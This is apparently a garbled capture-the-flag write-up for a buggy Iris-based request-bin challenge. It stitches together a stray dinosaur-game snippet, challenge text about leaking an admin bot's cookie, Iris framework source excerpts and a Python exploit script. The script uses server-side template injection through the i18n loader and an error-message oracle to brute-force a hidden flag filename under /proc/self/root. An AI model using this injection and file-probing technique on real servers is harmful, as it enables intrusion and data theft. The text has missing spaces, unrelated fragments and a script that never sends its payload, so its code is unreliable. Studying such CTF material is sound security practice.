// determine whether is dino dead constisDead = (pos) => { let {x, y} = pos; const distance = Math.sqrt(Math.pow(boardSize - x, 2) + Math.pow(boardSize - y, 2)); const travelPercentage = 1 - distance / boardMinWalkDistance; if (Math.random() < travelPercentage) returntrue; if (travelPercentage > 0.5) { // just to make rest of the trip extra hard if (Math.random() < 0.99) { returntrue; } } returnfalse; }
An admin bot is going to visit the link you provided and your task is to leak the cookie of admin. You can simulate this locally but first navigate to the site, execute JavaScript: document.cookie = "flag: we{test}" and finally visit the link that points to your payload.
Request bin has been one of the most helpful tool for Shou during his software (CRUD) engineering career! So, he decided to create yet another one by himself.
type Log struct { // The AccessLog instance this Log was created of. Logger *AccessLog `json:"-" yaml:"-" toml:"-"`
// The time the log is created. Now time.Time `json:"-" yaml:"-" toml:"-"` // TimeFormat selected to print the Time as string, // useful on Template Formatter. TimeFormat string`json:"-" yaml:"-" toml:"-"` // Timestamp the Now's unix timestamp (milliseconds). Timestamp int64`json:"timestamp" csv:"timestamp"`
// Request-Response latency. Latency time.Duration `json:"latency" csv:"latency"` // The response status code. Code int`json:"code" csv:"code"` // Init request's Method and Path. Method string`json:"method" csv:"method"` Path string`json:"path" csv:"path"` // The Remote Address. IP string`json:"ip,omitempty" csv:"ip,omitempty"` // Sorted URL Query arguments. Query []memstore.StringEntry `json:"query,omitempty" csv:"query,omitempty"` // Dynamic path parameters. PathParams memstore.Store `json:"params,omitempty" csv:"params,omitempty"` // Fields any data information useful to represent this Log. Fields memstore.Store `json:"fields,omitempty" csv:"fields,omitempty"` // The Request and Response raw bodies. // If they are escaped (e.g. JSON), // A third-party software can read it through: // data, _ := strconv.Unquote(log.Request) // err := json.Unmarshal([]byte(data), &customStruct) Request string`json:"request,omitempty" csv:"request,omitempty"` Response string`json:"response,omitempty" csv:"response,omitempty"` // The actual number of bytes received and sent on the network (headers + body or body only). BytesReceived int`json:"bytes_received,omitempty" csv:"bytes_received,omitempty"` BytesSent int`json:"bytes_sent,omitempty" csv:"bytes_sent,omitempty"`
// A copy of the Request's Context when Async is true (safe to use concurrently), // otherwise it's the current Context (not safe for concurrent access). Ctx *context.Context `json:"-" yaml:"-" toml:"-"` }
// ServeFile replies to the request with the contents of the named // file or directory. // // If the provided file or directory name is a relative path, it is // interpreted relative to the current directory and may ascend to // parent directories. If the provided name is constructed from user // input, it should be sanitized before calling `ServeFile`. // // Use it when you want to serve assets like css and javascript files. // If client should confirm and save the file use the `SendFile` instead. // Note that compression can be registered // through `ctx.CompressWriter(true)` or `app.Use(iris.Compression)`. func(ctx *Context) ServeFile(filename string) error { return ctx.ServeFileWithRate(filename, 0, 0) }
// ServeFileWithRate same as `ServeFile` but it can throttle the speed of reading // and though writing the file to the client. func(ctx *Context) ServeFileWithRate(filename string, limit float64, burst int) error { f, err := os.Open(filename) if err != nil { ctx.StatusCode(http.StatusNotFound) return err } defer f.Close()
st, err := f.Stat() if err != nil { code := http.StatusInternalServerError if os.IsNotExist(err) { code = http.StatusNotFound }
if os.IsPermission(err) { code = http.StatusForbidden }
ctx.StatusCode(code) return err }
if st.IsDir() { return ctx.ServeFile(path.Join(filename, "index.html")) }
I suppose you have already managed to steal Shou’s flag. Shou is also aware of this so he hided the flag better. What’s more can you accomplish with Shou’s buggy app?
defis_ok(filename: str) -> bool: # E.g. filename == "e9ae21d2-226a-45e7-a039-5???????????-????????-????-????-????-????????????" # `?` is used as an arbitrary character in Glob.
payload = "" # https://github.com/kataras/iris/blob/v12.2.0-beta3/context/application.go#L16 payload += '{{ $app := .Ctx.Application }}' # https://github.com/kataras/iris/blob/v12.2.0-beta3/i18n/i18n.go#L131 # This function uses Glob. You can judge the prefix of the file name using Glob and `/proc/self/root`. payload += '{{ $app.I18n.Load "/proc/self/root/{{FILENAME}}" }}'.replace('{{FILENAME}}', filename)
res = httpx.get( url, follow_redirects=True, ) # https://github.com/kataras/iris/blob/v12.2.0-beta3/i18n/loader.go#L97 # If the prefix hits, Iris loads the file as a yaml file and fail it. Then, Iris prints a error message. return"line 1: cannot unmarshal"in res.text
N = 64 hyphen_positions = [8, 4, 4, 4, 12, 8, 4, 4, 4, 12] for i inrange(1, len(hyphen_positions)): hyphen_positions[i] += hyphen_positions[i-1] assert hyphen_positions[-1] == N
xs = [None] * N
CHARS = "0123456789abcdef"# characters of uuid for i inrange(N): ys = [] k = 0 cur = None for j inrange(N): if j == hyphen_positions[k]: ys.append("-") k += 1 if j == i: cur = len(ys) if j < i: ys.append(xs[j]) else: ys.append("?")
hit_c = None for c in CHARS: ys[cur] = c filename = "".join(ys)
filename = "" k = 0 for j inrange(N): if j == hyphen_positions[k]: filename += "-" k += 1 filename += xs[j] filename = "".join(ys) print(filename) # Get the file name of `/$(uuidgen)-$(uuidgen)`
